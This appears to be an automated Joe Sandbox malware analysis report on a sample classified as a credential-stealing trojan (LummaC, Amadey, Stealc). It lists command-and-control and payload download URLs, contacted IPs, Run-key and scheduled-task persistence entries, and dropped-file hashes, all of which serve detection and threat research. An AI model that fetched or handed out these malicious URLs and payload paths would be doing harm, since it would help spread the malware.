https://necklacedmny.store/apil	59d7339838.exe, 0000000C.00000003.2181932991.000000000153B000.00000004.00000020.00020000.00000000.sdmp, 59d7339838.exe, 0000000C.00000003.2181755430.000000000152D000.00000004.00000020.00020000.00000000.sdmp, 59d7339838.exe, 0000000C.00000003.2173330591.0000000001527000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000014.00000003.2453956965.00000000014BB000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.16/off/random.exeH	skotes.exe, 00000010.00000002.2624931539.0000000001415000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.16/files/FontCreator.exe27fae1daa8e9ea1e2feb1d830b44e42dLg	skotes.exe, 00000010.00000002.2624931539.0000000001415000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://necklacedmny.store/apig	59d7339838.exe, 0000000C.00000003.2223731891.0000000001546000.00000004.00000020.00020000.00000000.sdmp, 59d7339838.exe, 0000000C.00000003.2250227598.0000000001548000.00000004.00000020.00020000.00000000.sdmp, 59d7339838.exe, 0000000C.00000003.2224209880.0000000001546000.00000004.00000020.00020000.00000000.sdmp, 59d7339838.exe, 0000000C.00000002.2261859956.000000000154A000.00000004.00000020.00020000.00000000.sdmp, 59d7339838.exe, 0000000C.00000003.2199583995.0000000001547000.00000004.00000020.00020000.00000000.sdmp, 59d7339838.exe, 0000000C.00000003.2198769585.0000000001546000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://necklacedmny.store/:	skotes.exe, 00000014.00000003.2603378149.00000000014B2000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000014.00000003.2513041708.00000000014B2000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://necklacedmny.sto	skotes.exe, 00000014.00000003.2404000364.00000000014B0000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000014.00000003.2418912665.00000000014B5000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://necklacedmny.store/A	skotes.exe, 00000014.00000003.2417958191.0000000005B03000.00000004.00000800.00020000.00000000.sdmp, skotes.exe, 00000014.00000003.2417808555.0000000005B00000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://185.215.113.16/Y	skotes.exe, 00000014.00000003.2603426144.00000000014A0000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.16/files/FontCreator.exe001%	skotes.exe, 00000010.00000002.2624931539.0000000001415000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://docs.rs/getrandom#nodejs-es-module-support	b02ca6c530.exe, b02ca6c530.exe, 0000000B.00000003.1990105604.0000000004C2B000.00000004.00001000.00020000.00000000.sdmp, b02ca6c530.exe, 0000000B.00000002.2049326377.00000000001FC000.00000040.00000001.01000000.00000009.sdmp, b02ca6c530.exe, 0000000E.00000003.2156814063.0000000004C2B000.00000004.00001000.00020000.00000000.sdmp, b02ca6c530.exe, 0000000E.00000002.2211768610.00000000001FC000.00000040.00000001.01000000.00000009.sdmp	false	URL Reputation: safe	unknown
http://185.215.113.16/mine/random.exe	59d7339838.exe, 0000000A.00000003.2136537230.0000000000656000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://necklacedmny.store/(	59d7339838.exe, 00000012.00000003.2288903484.0000000001474000.00000004.00000020.00020000.00000000.sdmp, 59d7339838.exe, 00000012.00000002.2387803450.0000000001478000.00000004.00000020.00020000.00000000.sdmp, 59d7339838.exe, 00000012.00000003.2289983992.0000000001477000.00000004.00000020.00020000.00000000.sdmp, 59d7339838.exe, 00000012.00000003.2276772871.000000000146C000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.206/6c4adf523b719729.phpW?	b02ca6c530.exe, 0000000E.00000002.2221405720.0000000000EC2000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	59d7339838.exe, 0000000A.00000003.1965363887.000000000530A000.00000004.00000800.00020000.00000000.sdmp, 59d7339838.exe, 0000000A.00000003.1965289154.0000000005322000.00000004.00000800.00020000.00000000.sdmp, 59d7339838.exe, 0000000C.00000003.2118375919.0000000005D4A000.00000004.00000800.00020000.00000000.sdmp, 59d7339838.exe, 00000012.00000003.2289536496.0000000005C5C000.00000004.00000800.00020000.00000000.sdmp, skotes.exe, 00000014.00000003.2405210580.0000000005B3B000.00000004.00000800.00020000.00000000.sdmp, skotes.exe, 00000014.00000003.2405630308.0000000005B39000.00000004.00000800.00020000.00000000.sdmp, skotes.exe, 00000014.00000003.2405358378.0000000005B39000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://185.215.113.43/Zu7JuNko/index.phpnu7raf	skotes.exe, 00000010.00000002.2624931539.0000000001415000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://necklacedmny.store/api?#	59d7339838.exe, 0000000C.00000003.2132973699.0000000005D12000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://necklacedmny.store/0	59d7339838.exe, 0000000A.00000003.2025900566.000000000064B000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.16/files/FontCreator.exe27f	skotes.exe, 00000010.00000002.2624931539.0000000001415000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.206/6c4adf523b719729.php_O	b02ca6c530.exe, 00000007.00000002.1921852326.0000000001001000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://presticitpo.store/api	59d7339838.exe, 0000000A.00000003.1936575021.0000000000621000.00000004.00000020.00020000.00000000.sdmp, 59d7339838.exe, 0000000A.00000003.1936725282.0000000000623000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.16/luma/random.exec	axplong.exe, 00000004.00000003.2128010715.0000000001A6A000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.16/files/FontCreator.exe2fx	skotes.exe, 00000010.00000002.2624931539.0000000001415000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.206/en-GB	b02ca6c530.exe, 0000000E.00000002.2221405720.0000000000EA8000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://necklacedmny.store:443/apil	59d7339838.exe, 00000012.00000002.2386043908.00000000013E5000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.16/soka/random.exee	skotes.exe, 00000010.00000002.2624931539.00000000013EA000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.43/Zu7JuNko/index.php;	skotes.exe, 00000010.00000002.2624931539.00000000013C3000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://x1.c.lencr.org/0	59d7339838.exe, 0000000A.00000003.1997344390.00000000053FE000.00000004.00000800.00020000.00000000.sdmp, 59d7339838.exe, 0000000C.00000003.2155731724.0000000005E0D000.00000004.00000800.00020000.00000000.sdmp, 59d7339838.exe, 00000012.00000003.2318019333.0000000005C43000.00000004.00000800.00020000.00000000.sdmp, skotes.exe, 00000014.00000003.2437318224.0000000005B3B000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://x1.i.lencr.org/0	59d7339838.exe, 0000000A.00000003.1997344390.00000000053FE000.00000004.00000800.00020000.00000000.sdmp, 59d7339838.exe, 0000000C.00000003.2155731724.0000000005E0D000.00000004.00000800.00020000.00000000.sdmp, 59d7339838.exe, 00000012.00000003.2318019333.0000000005C43000.00000004.00000800.00020000.00000000.sdmp, skotes.exe, 00000014.00000003.2437318224.0000000005B3B000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://185.215.113.206/6c4adf523b719729.phpl	b02ca6c530.exe, 0000000B.00000002.2051095271.0000000000EB5000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.16/luma/random.exeW	axplong.exe, 00000004.00000003.2128010715.0000000001A6A000.00000004.00000020.00020000.00000000.sdmp, axplong.exe, 00000004.00000002.2624043773.0000000001A6A000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.43/Zu7JuNko/index.phpA	skotes.exe, 00000010.00000002.2624931539.0000000001415000.00000004.00000020.00020000.00000000.sdmp	true		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
185.215.113.43	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
188.114.96.3	necklacedmny.store	European Union	13335	CLOUDFLARENETUS	true
185.215.113.206	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1546670
Start date and time:	2024-11-01 12:32:10 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 10m 47s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	27
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@32/20@18/4
EGA Information:	Successful, ratio: 16.7%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 20.101.57.9
Excluded domains from analysis (whitelisted): slscr.update.microsoft.com, otelrules.azureedge.net, twc.trafficmanager.net, otelrules.afd.azureedge.net, ctldl.windowsupdate.com, azureedge-t-prod.trafficmanager.net, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target 59d7339838.exe, PID 6108 because there are no executed function
Execution Graph export aborted for target axplong.exe, PID 5448 because there are no executed function
Execution Graph export aborted for target b02ca6c530.exe, PID 5256 because there are no executed function
Execution Graph export aborted for target b02ca6c530.exe, PID 640 because there are no executed function
Execution Graph export aborted for target file.exe, PID 4300 because it is empty
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: file.exe

Simulations

Behavior and APIs

Time	Type	Description
07:34:02	API Interceptor	537057x Sleep call for process: axplong.exe modified
07:34:13	API Interceptor	31x Sleep call for process: 59d7339838.exe modified
07:34:42	API Interceptor	382x Sleep call for process: skotes.exe modified
12:33:16	Task Scheduler	Run new task: axplong path: C:\Users\user~1\AppData\Local\Temp\44111dbc49\axplong.exe
12:34:10	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run b02ca6c530.exe C:\Users\user~1\AppData\Local\Temp\1001508001\b02ca6c530.exe
12:34:18	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 59d7339838.exe C:\Users\user~1\AppData\Local\Temp\1001509001\59d7339838.exe
12:34:26	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run b02ca6c530.exe C:\Users\user~1\AppData\Local\Temp\1001508001\b02ca6c530.exe
12:34:34	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run 59d7339838.exe C:\Users\user~1\AppData\Local\Temp\1001509001\59d7339838.exe
12:34:39	Task Scheduler	Run new task: skotes path: C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe
12:35:17	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run e62942d11f.exe C:\Users\user~1\AppData\Local\Temp\1001735001\e62942d11f.exe
12:35:27	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run e62942d11f.exe C:\Users\user~1\AppData\Local\Temp\1001735001\e62942d11f.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.43	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
188.114.96.3	NF_Payment_Ref_FAN930276.exe	Get hash	malicious	FormBook	Browse	www.timizoasisey.shop/3p0l/
	FW CMA SHZ Freight invoice CHN1080769.exe	Get hash	malicious	FormBook	Browse	www.bayarcepat19.click/5hcm/
	greenthingswithgreatnewsforgetmeback.hta	Get hash	malicious	Cobalt Strike, HTMLPhisher	Browse	paste.ee/d/sTNna
	Lana_Rhoades_Photoos.js	Get hash	malicious	Unknown	Browse	paste.ee/d/ciuNW
	PO-000172483 (2).exe	Get hash	malicious	FormBook, GuLoader	Browse	www.launchdreamidea.xyz/2b9b/
	VfKk5EmvwW.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	083098cm.n9shteam.in/vmBase.php
	Payment Slip_SJJ023639#U00faPDF.scr.exe	Get hash	malicious	Snake Keylogger	Browse	filetransfer.io/data-package/CEqTVkxM/download
	0JLWNg4Sz1.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	977255cm.nyashkoon.in/secureWindows.php
	zxalphamn.doc	Get hash	malicious	Lokibot	Browse	touxzw.ir/alpha2/five/fre.php
	QUOTATION_OCTQTRA071244#U00b7PDF.scr.exe	Get hash	malicious	Snake Keylogger	Browse	filetransfer.io/data-package/jI82Ms6K/download

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
s-part-0017.t-0009.t-msedge.net	file.exe	Get hash	malicious	Credential Flusher	Browse	13.107.246.45
	file.exe	Get hash	malicious	Unknown	Browse	13.107.246.45
	https://www.cognitoforms.com/f/wAh1CzXrnEmEifrmJ4OEgg/1	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse	13.107.246.45
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.45
	https://www.attemplate.com/eur/f93d2770-ba65-484a-a0ba-ef8bddcf2ed4/3cd045c9-e63b-453b-b9a3-b5e29e9ef20e/9253d536-e8da-44d0-b681-445519f254ea/login?id=M29uR0UzZG8zVmNGSk5ZaFZXMjhZajJpczk4c0o3VGlNTW9rTk56elpFQzBLcWlLdEhEaCtPQWtlb1FXZTQxMDdIK21wNzNBNHlUWGtpQzhmaTRXdGVYcWlPaUF6VGpQUW1pTUh3VHVDWUI1RWUzVjcyWVdjZ0s5M3FOc2hGenRka0xZTGdmdjRJcVltMytlMTdMSEpzT3RTRjVKb2tibVB3M01RZnppUUwwYkkxOXh0VFBER01OeTRIZldNL0ZzOFg3NWJQMWlBMWY1aU9keUVBclJsS0F1WlBXY0JVQmNIdmlub1FOaGxYRHhXL3RaTFZzWE5JS2JxaVdVYklXWUh2SXk0aGJnK1Q2R3FvbTIwQmdWWHBnUU9PSmdjdlRxYmh6bTRRZ0V4TEN2d2JpWWU0Y1drVkZXd1VqK2MvQTdtZ21Hbk5hcGgrdFo3cC9RcDlma1RZRm1EUmJ3Y2tnaEc4R1FRRmsxSHNBY1RjWURCYU81cXhQSW5FQklQbTVha1RLSFBtNjlmOTlEMnIrdTYzbFJncVZMZWM1ZWVoZFZ6eFo4KzBpQW5MWT0	Get hash	malicious	HTMLPhisher, Microsoft Phishing	Browse	13.107.246.45
	https://url.avanan.click/v2/r01/___https://h2o.ci.akron.oh.us/iwr/user/login.seam___.YXAzOmluZmluaXRlc29sdXRpb25zbGxjLXByZXN0aWdlYWRtaW5zZXJ2aWNlczphOm86NzUyOWFlMTE5NjU3Njc3NTJlNTQyYWQxM2Y1ZTcwZDY6NzpjNWQyOjZkZDczZDkyM2VjNmVjZTM5NDA0OGU4ZGYyYzUzMTAzMTJhMGFiYzg3NmE2NGIwMWVmMjk1MzI0NGExMWQyNjQ6cDpUOk4	Get hash	malicious	Unknown	Browse	13.107.246.45
	https://my-homepagero.sa.com/exml/	Get hash	malicious	HTMLPhisher	Browse	13.107.246.45
	https://pdfhost.io/v/maTYQa.jg_mqfilserawxgxdgxhhgsx_1	Get hash	malicious	Unknown	Browse	13.107.246.45
	1nnlXctdko.dll	Get hash	malicious	Amadey	Browse	13.107.246.45
	https://hotmail.pizza4you.com.br/	Get hash	malicious	Mamba2FA	Browse	13.107.246.45
necklacedmny.store	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	188.114.96.3

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	CiscoSetup.exe	Get hash	malicious	NetSupport RAT, NetSupport Downloader	Browse	172.67.68.212
	CiscoSetup.exe	Get hash	malicious	NetSupport RAT, NetSupport Downloader	Browse	172.67.68.212
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	188.114.97.3
	CiscoSetup.exe	Get hash	malicious	NetSupport RAT, NetSupport Downloader	Browse	172.67.68.212
	CiscoSetup.exe	Get hash	malicious	NetSupport RAT, NetSupport Downloader	Browse	104.26.1.231
	Alvise Maria CV 1.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger	Browse	188.114.97.3
	Action Desk Support 01 Nov.msg	Get hash	malicious	Unknown	Browse	188.114.96.3
	https://www.cognitoforms.com/f/wAh1CzXrnEmEifrmJ4OEgg/1	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse	104.17.24.14
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC	Browse	104.21.85.194
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.16
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.16

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	SecuriteInfo.com.Trojan.PWS.Lumma.775.32093.2339.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	188.114.96.3
	E_dekont.cmd	Get hash	malicious	DBatLoader, Nitol, PureLog Stealer, XWorm	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	188.114.96.3

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\random[1].exe	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\random[1].exe	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\K73CAIXQZ7ROMEX8OQ5J7.exe.log

Download File

Process:	C:\Users\user\AppData\Local\Temp\K73CAIXQZ7ROMEX8OQ5J7.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	226
Entropy (8bit):	5.360398796477698
Encrypted:	false
SSDEEP:	6:Q3La/xw5DLIP12MUAvvR+uTL2ql2ABgTv:Q3La/KDLI4MWuPTAv
MD5:	3A8957C6382192B71471BD14359D0B12
SHA1:	71B96C965B65A051E7E7D10F61BEBD8CCBB88587
SHA-256:	282FBEFDDCFAA0A9DBDEE6E123791FC4B8CB870AE9D450E6394D2ACDA3D8F56D
SHA-512:	76C108641F682F785A97017728ED51565C4F74B61B24E190468E3A2843FCC43615C6C8ABE298750AF238D7A44E97C001E3BE427B49900432F905A7CE114AA9AD
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2126336
Entropy (8bit):	7.959238899149466
Encrypted:	false
SSDEEP:	49152:H5N3S9xKFwDyNDflUSreJuuCvOQnJYmNh+s:H5hS9xK+DyNDNH9u+BNh+s
MD5:	E71C5AEE12EE323FC4F40010437D4186
SHA1:	6389BDA37CEE4CA4724306CFA8A73FF318713DE3
SHA-256:	05D8C0BF7ACBC23D2A49073D4CDDE8547526BB55B6893F21C4753CC8800B0A8E
SHA-512:	D3F0A9CF2EB19F1573B289BFDA2C3D0E11AACBC334F4A8C09318E9379568FE5DB15EBE5A6DB6F102168A14E1255D6949F3EDBCBEB7699A0ECBD35F2D8D5F0D9C
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 42%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........b.}.............u^......uk......u_......{v.....fz./.....{f..............uZ......uh.....Rich....................PE..L...8n.g......................,.......r...........@...........................r.....RR!...@.................................P...d................................................................................................................... . .p.......v..................@....rsrc ............................@....idata ............................@... ..*.........................@...dcpywpmo......X.....................@...ghlarfhj.....pr......L .............@....taggant.0....r.."...P .............@...........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\random[2].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2797568
Entropy (8bit):	6.472675766370845
Encrypted:	false
SSDEEP:	24576:SaNWjcn0Hfkl3VVt2KK2rAR+Un6T5jMT1NxftHhYeg0bJrqM5IjgZACUpaA5Tb1z:SsnhVVGwFNjY1IQAMA5lXWgnDFe5
MD5:	A2A68D9FBC4EAF04D07B8DD2E41837B2
SHA1:	84DAF5828FBB9E6B99AF9AD410A009EFE2F7B653
SHA-256:	D493DBE8080A99BC5717FB457532DE55D6AA7FAEC496380B518A951D71CB39F0
SHA-512:	04454CE6A449BE2511ED161EEB53D022B6DF9E75AD467E25EE980707D9695442841425175946E90E81DC50DEF2FDA101113DFE1F825D1F7EE729C8AB187376C9
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 37%
Preview:	MZ......................@...........z...................................!..L.!This program cannot be run in DOS mode....$.......PE..L...P(,e.........."...0..$........... +.. ...`....@.. .......................`+.....K.+...`.................................U...i....`.............................................................................................................. . .@... ....... ..............@....rsrc........`.......2..............@....idata . ...........8..............@...ziejvuqc.`......P..:..............@...vpkhfhix. ....+....................@....taggant.@... +..".................@...................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1933824
Entropy (8bit):	7.947310300164895
Encrypted:	false
SSDEEP:	49152:hHxYCcMZJv29KMiwObbQZwOU5X1kR/AEFktM:hHxYWPUi7vQHUxgEM
MD5:	436EC8E845CBB9BCD7098B37BE1C0610
SHA1:	5149FFF99B5FEF0018F704566908816D838C064C
SHA-256:	E80171FD5B32206E71FED542C3CAE3055217F5F590FAF8DAA155B4A362942E65
SHA-512:	7DF98128AB269DB1BEF8E802F130D3D426133EA72A34F24BB299EC2980F373E7D6F4884D2B296D6633BF5EA82A716C37A8C55A494A9FC8E42F6D798896EAC4B3
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 50%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........PJ.r>..r>..r>...=..r>...;.(r>.].:..r>.].=..r>.].;..r>...:..r>...?..r>..r?.^r>...7..r>......r>...<..r>.Rich.r>.................PE..L....@.f.............................0L...........@..........................`L......C....@.................................W...k.............................L...............................L..................................................... . ............................@....rsrc...............................@....idata ............................@... ..+.........................@...kxpzlyin.p....1..f..................@...ryespbnx..... L......\..............@....taggant.0...0L.."...`..............@...........................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\FontCreator[1].exe

Download File

